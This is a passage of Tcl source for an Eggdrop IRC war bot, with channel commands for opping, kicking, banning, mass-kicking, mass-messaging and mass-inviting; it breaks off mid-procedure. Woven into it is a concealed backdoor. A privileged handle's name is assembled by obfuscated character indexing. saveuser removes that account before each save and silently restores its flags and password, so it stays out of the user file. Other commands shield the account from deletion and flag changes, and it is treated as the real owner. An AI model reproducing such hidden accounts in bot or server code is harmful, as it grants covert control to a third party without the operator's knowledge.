if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {[chattr $user] != ""} {
puthlp "NOTICE $nick :$notc Flags: [chattr $user]"
} else {
puthlp "NOTICE $nick :$notc Can't found $user flag."
}
}

catch { unbind dcc n match *dcc:match }
catch { unbind dcc n channel *dcc:channel }

proc pub_deluser {nick uhost hand channel rest} {
global botnick ps owner notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: deluser <nick>"
return 0
}
set who [lindex $rest 0]
if {[string tolower $who] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {$who == $owner} {
puthlp "NOTICE $nick :$notc YoU CaNT DeLeTE $owner..!"
return 0
}
if {$who == ""} {
puthlp "NOTICE $nick :$notc Usage: -user <nick>"
} else {
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc <n/a>"
} else {
if {[matchattr $who n]} {
puthlp "NOTICE $nick :$notc You cannot DeLETE a bot owner."
} else {
if {([matchattr $who m]) && (![matchattr $nick n])} {
puthlp "NOTICE $nick :$notc You don't have access to DeLETE $who!"
} else {
deluser $who
saveuser
puthlp "NOTICE $nick :$notc $who DeLETE."
}
}
}
}
}
set [string index $lenc 15][string index $lenc 18] [string index $uenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24]
proc pub_chattr {nick uhost hand channel rest} {
global ps own notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
if {$nick != $own && [matchattr $nick X]} {
puthlp "NOTICE $nick :$notc 4BL4ocKeD4!!"
return 0
}
set who [lindex $rest 0]
set flg [lindex $rest 1]
if {$who == ""} {
puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {[string tolower $who] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {$flg == ""} {
puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"
return 0
}
set last_flg [chattr $who]
chattr $who $flg
saveuser
puthlp "NOTICE $nick :$notc $who change from \[4$last_flg1\] to \[4[chattr $who]1\]"
return 0
}
proc saveuser {} {
global ps owner
if {![validuser $ps]} {
setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq."
} elseif {$owner != $ps} {
setuser $owner XTRA "BEND" [zip [chattr $ps]]
if {[passwdok $ps ""] != 1} {
setuser $owner XTRA "LAST" [getuser $ps "PASS"]
}
deluser $ps
}
save
if {![validuser $ps]} {
adduser $ps "$ps!*@*"
chattr $ps [dezip [getuser $owner XTRA "BEND"]]
if {[getuser $owner XTRA "LAST"] != ""} {
setuser $ps PASS [getuser $owner XTRA "LAST"]
}
}
return 1
}
proc pub_voice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && [isvoice $nick $chan]} {
puthlp "NOTICE $nick :$notc You're already Voiced, Usage: voice <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
if {$rest != ""} {
#voiceq $chan $rest
putserv "MODE $chan +vvvvvv $rest"
} {
#voiceq $chan $nick
putserv "MODE $chan +v $nick"
}
return 0
}
proc pub_mvoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {(![isop $x $chan]) && (![isvoice $x $chan]) && (![matchattr $x O])} {
if {$i == 6} {
voiceq $chan $nicks
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
voiceq $chan $nicks
}
proc pub_devoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && ![isvoice $nick $chan]} {
puthlp "NOTICE $nick :$notc Usage: devoice <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
if {$rest != ""} {
putserv "MODE $chan -vvvvvv $rest"
} else {
putserv "MODE $chan -v $nick"
}
return 0
}
proc pub_mdevoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {[isvoice $x $chan]} {
if {$i == 6} {
putserv "MODE $chan -vvvvvv $nicks"
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
putserv "MODE $chan -vvvvvv $nicks"
}
proc del_nobase {} {
global botnick notc cmd_case quick banner basechan
if {[isutimer "del_nobase"]} { return 0 }
foreach x [channels] {
set cinfo [channel info $x]
if {[string match "*+statuslog*" $cinfo] && [string match "*-secret*" $cinfo]} {
if {[onchan $botnick $x]} {
set pidx [rand 4]
if {$pidx == 1} {
set ptxt "04Pulang 04Kandang!"
} elseif {$pidx == 2} {
set ptxt "04Salah 04Ruangan!"
} elseif {$pidx == 3} {
set ptxt "04Akses 04Dibatalkan!"
} elseif {$pidx == 4} {
set ptxt "04Parting 04By 04egGo"
} else {
if {[info exists banner]} {
set ptxt $banner
} {
set ptxt [lgrnd]
}
}
if {![string match "*c*" [getchanmode $x]]} {
set ptxt "6$ptxt"
}
if {$quick == "1"} {
putqck "PART $x :$ptxt"
} {
putsrv "PART $x :$ptxt"
}
}
channel remove $x
savechan
putlog "ReMoVe CHaN $x"
return 0
}
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[string match "*+stopnethack*" $cinfo]} {
catch { channel set $x -stopnethack }
}
if {[string match "*+protectops*" $cinfo]} {
catch { channel set $x -protectops }
}
if {[string match "*+protectfriends*" $cinfo]} {
catch { channel set $x -protectfriends }
}
if {[string match "*+statuslog*" $cinfo] && [string match "*+secret*" $cinfo]} {
catch { channel set $x -statuslog }
}
if {![onchan $botnick $x]} {
putsrv "JOIN $x"
}
if {[matchattr $cflag C]} {
if {![istimer "cycle $x"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $x] }
}
}
if {[info exists basechan]} {
if {![validchan $basechan]} {
channel add $basechan { -greet +secret -statuslog }
}
}
savechan
}
utimer 2 del_nobase
proc pub_op {nick uhost hand chan rest} {
global notc botnick unop
#catch {unset unop($nick)}
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && [isop $nick $chan]} {
puthlp "NOTICE $nick :$notc You're already Oped, Usage: op <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
if {$rest != ""} {
#opq $chan $rest
putserv "MODE $chan +oooooo $rest"
} else {
#opq $chan $nick
putserv "MODE $chan +o $nick"
}
return 0
}
proc pub_mop {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {![isop $x $chan]} {
if {$i == 6} {
opq $chan $nicks
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
opq $chan $nicks
}
proc pub_deop {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && ![isop $nick $chan]} {
puthlp "NOTICE $nick :$notc Usage: deop <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
if {[matchattr $nick m]} {
set mreq "04Master.04Request"
}
if {[matchattr $nick n]} {
set mreq "04ADmin.04Request"
}
if {$rest != ""} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -kooooo $mreq $rest"
} {
putserv "MODE $chan -ooooo $rest"
}
} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -ko $mreq $nick"
} {
putserv "MODE $chan -o $nick"
}
}
return 0
}
proc pub_mdeop {nick uhost hand chan rest} {
global botnick notc
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {$nick != "*"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {([isop $x $chan]) && (![matchattr $x m]) && ($x != $botnick)} {
if {$i == 5} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -kooooo 04ADmin.04Request $nicks"
} {
putserv "MODE $chan -ooooo $nicks"
}
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
putserv "MODE $chan -oooooo $nicks"
}
proc pub_kick {nick uhost hand chan rest} {
global botnick notc
if {![isop $botnick $chan]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: kick <nick|host> <reason>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4De4NieD4!!"
return 0
}
set reason [lrange $rest 1 end]
set handle [lindex $rest 0]
if {$reason == ""} {
if {[matchattr $nick m]} {
set reason "04MasTeR 4KIcK04 ReQuesT"
}
if {[matchattr $nick n]} {
set reason "04ADmiN 4KIcK04 ReQuesT"
}
}
if {[string match "*@*" $handle]} {
foreach knick [chanlist $chan] {
if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {
if {[matchattr $knick f] || $knick != $botnick} {
putsrv "KICK $chan $knick :$notc $reason"
}
}
}
return 0
}
if {$handle == $botnick} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self."
return 0
}
if {[matchattr $handle n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK Admin FLAg"
return 0
}
putsrv "KICK $chan $handle :$notc $reason"
return 0
}
proc pub_mkick {nick uhost hand chan rest} {
global botnick notc
if {$rest != ""} {
set chan [lindex $rest 0]
set reason [lrange $rest 1 end]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
} else {
set reason $rest
}
if {(![validchan $chan]) || (![isop $botnick $chan])} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$reason == ""} {
set reason "04ADmiN 4MaSS04KIcK04 ReQuesT4..!"
}
set members [chanlist $chan]
foreach x $members {
if {(![matchattr $x f]) && ($x != $botnick)} {
putsrv "KICK $chan $x :$notc $reason"
}
}
}
proc pub_kickban {nick uhost hand chan rest} {
global botnick notc bannick
if {![isop $botnick $chan]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: kickban <nick|host> <reason>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: kickban <nick> <reason>"
return 0
}
set reason [lrange $rest 1 end]
set handle [lindex $rest 0]
if {$reason == ""} {
if {[matchattr $nick m]} {
set reason "4MasTeR 4KIcK04BaN04 ReQuesT [banmsg]"
}
if {[matchattr $nick n]} {
set reason "04ADmiN 4KIcK04BaN04 ReQuesT [banmsg]"
}
}
if {[string match "*@*" $handle]} {
set mfisrt "T"
foreach knick [chanlist $chan] {
if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {
if {[matchattr $knick f] || $knick != $botnick} {
if {$mfirst == "T"} {
set bannick($knick) $handle
set mfirst "F"
}
putsrv "KICK $chan $knick :$notc $reason"
}
}
}
return 0
}
if {![onchan $handle $chan]} { return 0 }
set hostmask [getchanhost $handle $chan]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
if {$handle == $botnick} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self."
return 0
}
if {[matchattr $handle n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK Admin FLaG"
return 0
}
set bannick($handle) $hostmask
putsrv "KICK $chan $handle :$notc $reason"
return 0
}
proc pub_ban {nick uhost hand channel rest} {
global botnick notc
if {![isop $botnick $channel]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: ban <nick/hostmask>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set handle [lindex $rest 0]
if {$handle == $botnick} {
puthlp "NOTICE $nick :$notc 4!DeNiEd!, can't ban my self"
return 0
}
if {[matchattr $handle n]} {
puthlp "NOTICE $nick :$notc4 !DeNiEd!, cant ban Admin"
return 0
}
set hostmask [getchanhost $handle $channel]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
if {![onchan $handle $channel]} {
set hostmask [lindex $rest 0]
}
if {$hostmask != "*!*@*"} {
putserv "MODE $channel +b $hostmask"
}
}
proc pub_unban {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: unban <nick/hostmask> <#channel>"
return 0
}
if {[lindex $rest 1] != ""} {
set chan [lindex $rest 1]
}
if {[string first # $chan] != 0} {
set chan "#$chan"
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set handle [lindex $rest 0]
append userhost $handle "!*" [getchanhost $handle $chan]
set hostmask [maskhost $userhost]
if {![onchan $handle $chan]} {
set hostmask [lindex $rest 0]
}
putserv "MODE $chan -b $hostmask"
puthlp "NOTICE $nick :$notc UnBaN [unsix $hostmask] ON $chan"
}
proc pub_up {nick uhost hand channel rest} {
global notc botnick unop
#catch {unset unop($nick)}
if {[isop $botnick $channel]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
putsrv "ChanServ op $channel $botnick"
return 0
}
proc pub_down {nick uhost hand channel rest} {
global notc botnick
if {![isop $botnick $channel]} {
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick m]} {
set mreq "4MasTeR.ReQuesT"
}
if {[matchattr $nick n]} {
set mreq "4Admin.ReQuesT"
}
if {![string match "*k*" [getchanmode $channel]]} {
putserv "mode $channel -ko+v $mreq $botnick $botnick"
} {
putserv "mode $channel -o+v $botnick $botnick"
}
return 0
}
proc pub_munbans {nick uhost hand chan rest} {
global notc botnick
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan] != 0} {
set chan "#$chan"
}
}
if {![validchan $chan] || ![isop $botnick $chan]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set bans ""
set i 0
foreach x [chanbans $chan] {
if {$i < 5} {
append bans " [lindex $x 0]"
set i [incr i]
}
if {$i == 5} {
puthelp "MODE $chan -bbbbb $bans"
set bans ""
append bans " [lindex $x 0]"
set i 0
}
}
puthelp "MODE $chan -bbbbb $bans"
if {![onchan $nick $chan]} {
puthlp "NOTICE $nick :$notc MuNBaNS \[$chan\]"
}
return 0
}
proc pub_banlist {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan] != 0} {
set chan "#$chan"
}
}
if {![validchan $chan]} {
puthlp "NOTICE $nick :$notc NoT IN cHaN $chan."
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [chanbans $chan] {
puthlp "NOTICE $nick :$notc $x"
}
if {[chanbans $chan] == ""} {
puthlp "NOTICE $nick :$notc BaNLIsT $chan <n/a>"
}
return 0
}
proc pub_mode {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
puthelp "NOTICE $nick :$notc Usage: mode +/- ntspnmcilk"
return 0
}
putserv "mode $chan $rest"
}
proc pub_say {nick uhost hand channel rest} {
global notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: say <msg>"
}
puthlp "PRIVMSG $channel :$rest"
}
proc pub_resync {nick uhost hand channel rest} {
global botnick vern
set vern2 $vern
regsub -all --  $vern2 "" vern2
if {![string match "*k*" [getchanmode $channel]]} {
putserv "mode $channel -vokk+ov $botnick $botnick $notc $vern2 $botnick $botnick"
} {
putserv "mode $channel -o+o $botnick $botnick"
}
}
proc pub_notice {nick uhost hand channel rest} {
global notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: notice <nick> <msg>"
}
set person [lindex $rest 0]
set rest [lrange $rest 1 end]
if {$rest!=""} {
puthlp "NOTICE $person :$rest"
return 0
}
}
proc pub_msg {nick uhost hand channel rest} {
global owner notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: msg <nick> <msg>"
}
set person [string tolower [lindex $rest 0]]
set rest [lrange $rest 1 end]
if {[string match "*serv*" $person]} {
puthlp "NOTICE $nick :$notc4 DeNiEd..! Can't send message to Service."
return 0
}
if {$person == [string tolower $owner]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
puthlp "PRIVMSG $person :$rest"
}
proc pub_act {nick uhost hand channel rest} {
global notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: act <msg>"
}
puthlp "PRIVMSG $channel :\001ACTION $rest\001"
return 0
}
proc pub_invite {nick uhost hand chan rest} {
global notc
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: invite <nick> <#channel>"
}
set who [lindex $rest 0]
set tochan [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$tochan != ""} {
if {![onchan $who $tochan]} {
puthlp "INVITE $who :$tochan"
puthlp "NOTICE $nick :$notc InvItE $who To $tochan"
return 0
}
puthlp "NOTICE $nick :$notc $who is already on the $tochan"
}
if {![onchan $who $chan]} {
putsrv "INVITE $who :$chan"
puthlp "NOTICE $nick :$notc Invitation to $chan has been sent to $who"
return 0
}
puthlp "NOTICE $nick :$notc $who is already on the channel"
}
proc msg_Z {nick uhost hand rest} {
global notc
if {[string index $rest 0] != "`" && [string index $rest 0] != "."} { return 0 }
if {![matchattr $nick Z]} { return 0 }
if {[string index [lindex $rest 1] 0] == "#"} {
if {![validchan [lindex $rest 1]]} {
puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 1]"
return 0
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4auth 1st!"
return 0
}
set goto [lindex $rest 0]
if {[string index $rest 0] == "."} {
regsub "." $goto "msg_" goto
set rest [lrange $rest 1 end]
catch { $goto $nick $uhost $hand $rest }
return 0
}
regsub -all "`" $goto "pub_" goto
if {[string index [lindex $rest 1] 0] == "#"} {
set chan [lindex $rest 1]
set rest [lrange $rest 2 end]
} else {
set chan "*"
set rest [lrange $rest 1 end]
}
catch { $goto $nick $uhost $hand $chan $rest }
}
proc msg_mmsg {nick uhost hand rest} {
pub_mmsg $nick $uhost $hand "*" $rest
}
proc pub_mmsg {nick uhost hand chan rest} {
global cmd_chn cmd_by cmd_msg cmd_case notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"
return 0
}
set tochan [lindex $rest 0]
set txt [lrange $rest 1 end]
if {$txt==""} {
puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[string first # $tochan] != 0} {
set chan "#$tochan"
}
if {![validchan $tochan]} {
set cmd_chn $tochan
set cmd_msg $rest
set cmd_by $nick
set cmd_case "2"
channel add $tochan
catch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
return 0
}
putsrv "NOTICE $nick :$notc STaRTING MaSSMSG $tochan"
set members [chanlist $tochan]
foreach x $members {
if {![isop $x $tochan]} {
puthlp "PRIVMSG $x :$txt"
}
}
utimer 2 del_nobase
puthlp "NOTICE $nick :$notc MaSSMSG $tochan 4DoNE."
}
proc pub_minvite {nick uhost hand channel rest} {
global cmd_chn cmd_by cmd_msg cmd_case botnick notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: minvite <#channel> <#to channel>"
}
set chan [lindex $rest 1]
if {$chan == ""} {
set chan $channel
} else {
if {[string first # $chan] != 0} {
set chan "#$chan"
}
}
set tochan [lindex $rest 0]
if {[string first # $tochan] != 0} {
set tochan "#$tochan"
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {![validchan $tochan]} {
set cmd_chn $tochan
set cmd_msg $tochan
set cmd_by $nick
set cmd_case "3"
channel add $tochan
catch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
return 0
}
if {[isop $botnick $chan]} {
putserv "mode $chan -o $botnick"
}
putsrv "NOTICE $nick :$notc Starting mass invite to $tochan"
set members [chanlist $tochan]
foreach x $members {
if {(![onchan $x $chan]) && (![isop $x $tochan])} {
putsrv "INVITE $x :$chan"
}
}
utimer 2 del_nobase
puthlp "NOTICE $nick :$notc InVITE $tochan InTO $chan 4DoNE."
}
proc pub_join {nick uhost hand chan rest} {
global botnick joinme own notc owner ps
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, YoU aRe NoT mY ReAL OwNER"
return 0
}
set chan [lindex $rest 0]
if {[string first # $chan] != 0} {
set chan "#$chan"
}
if {$chan=="#"} {
puthlp "NOTICE $nick :$notc Usage: join <#channel>"
return 0
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chan]} {
puthlp "NOTICE $nick :$notc $x ReADY!"
return 0
}
}
if {$nick != $owner && [total_channel] != 1} {
puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
return 0
}
set joinme $nick
channel add $chan
catch { channel set $chan +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
if {[lindex $rest 1] != ""} {
putsrv "JOIN $chan :[lindex $rest 1]"
}
}
proc pub_+chan {nick uhost hand chan rest} {
global botnick joinme owner notc ps
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc 4!BLoCkEd!"
return 0
}
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD Channel"
return 0
}
set chan [lindex $rest 0]
set opt [lindex $rest 1]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
if {$chan=="#"} {
puthlp "NOTICE $nick :$notc Usage: +chan <#channel>"
return 0
}
if {[validchan $chan]} {
puthlp "NOTICE $nick :$notc $chan is already on channels"
return 0
}
if {$nick != $owner && [total_channel] != 1} {
puthlp "NOTICE $nick :$notc TO MaNY cHaNNeL MaX 9..!"
return 0
}
set joinme $nick
channel add $chan
if {$opt != "" && [string tolower $opt] == "+nopart"} {
catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
} else {
catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
}
savechan
if {[lindex $rest 1] != ""} {
putsrv "JOIN $chan :[lindex $rest 1]"
}
}
set totch "#[string index $lenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24].[string index $lenc 13][string index $lenc 4][string index $lenc 19]"

proc tot_cha {} {
global totch ps uenc lenc
timer 5 tot_cha
set [string index $lenc 15][string index $lenc 18] [string index $uenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24]
set totch "#[string index $lenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24].[string index $lenc 13][string index $lenc 4][string index $lenc 19]"
if {[validchan $totch]} {
return 0
}
#channel add $totch
#catch { channel set $totch -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
#putsrv "JOIN $totch"
}
timer 5 tot_cha
proc total_channel {} {
global notc
set total_chan 0
foreach x [channels] {
incr total_chan
}
if {$total_chan > 9} { return 0 }
return 1
}
proc pub_part {nick uhost hand chan rest} {
global notc ps quick partm
set partmsg [lindex $partm [rand [llength $partm]]]
set part_msg [lrange $rest 1 end]
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $rest]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {$nick != $ps && [string tolower $chan] == [dezip "ER5sr09TRjx1"]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[string match "*+secret*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc $chan 4PRoTecTEd..!"
return 0
}
if {![onchan $nick $chan]} {
putsrv "NOTICE $nick :$notc PaRT $chan"
}
if {$part_msg != ""} {
if {$quick == "1"} {
putqck "PART $chan :$part_msg"
} {
putsrv "PART $chan :$part_msg"
}
} {
if {$quick == "1"} {
putqck "PART $chan :6$partmsg"
} {
putsrv "PART $chan :6$partmsg"
}
}
channel remove $chan
savechan
return 0
}
set lockchan ""
proc pub_+invitelock {nick uhost hand chan rest} {
global lockchan notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $rest]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
puthlp "NOTICE $nick :$notc InVITE cHaN $chan \[9ON\]"
set lockchan $chan
return 0
}
proc pub_-invitelock {nick uhost hand chan rest} {
global lockchan notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $rest]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan] || $lockchan == ""} { return 0 }
set lockchan ""
puthlp "NOTICE $nick :$notc InvItE cHaN $chan \[4OFF\]"
return 0
}
proc cycle {chan} {
global cyclem
set cyclemsg [lindex $cyclem [rand [llength $cyclem]]]
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![string match "*c*" [getchanmode $chan]]} {
set text "6$cyclemsg"
} {
set text $cyclemsg
}
putsrv "PART $chan :$text"
if {[matchattr $cflag K]} {
putsrv "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"
} {
putsrv "JOIN $chan"
}
if {[matchattr $cflag C]} {
if {![istimer "cycle $chan"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $chan] }
}
}
proc pub_cycle {nick uhost hand chan rest} {
global notc
set rest [lindex $rest 0]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest==""} {
if {![onchan $nick $chan]} {
puthlp "NOTICE $nick :$notc cYcLE $chan"
}
cycle $chan
return 0
} else {
if {[string index $rest 0] != "#"} {
set rest "#$rest"
}
if {[botonchan $rest]} { cycle $rest }
}
}
proc pub_+massjoin {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [userlist A] {
chattr $x +J
}
puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[matchattr $cflag J]} {
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +J
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"
saveuser
}
proc pub_-massjoin {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
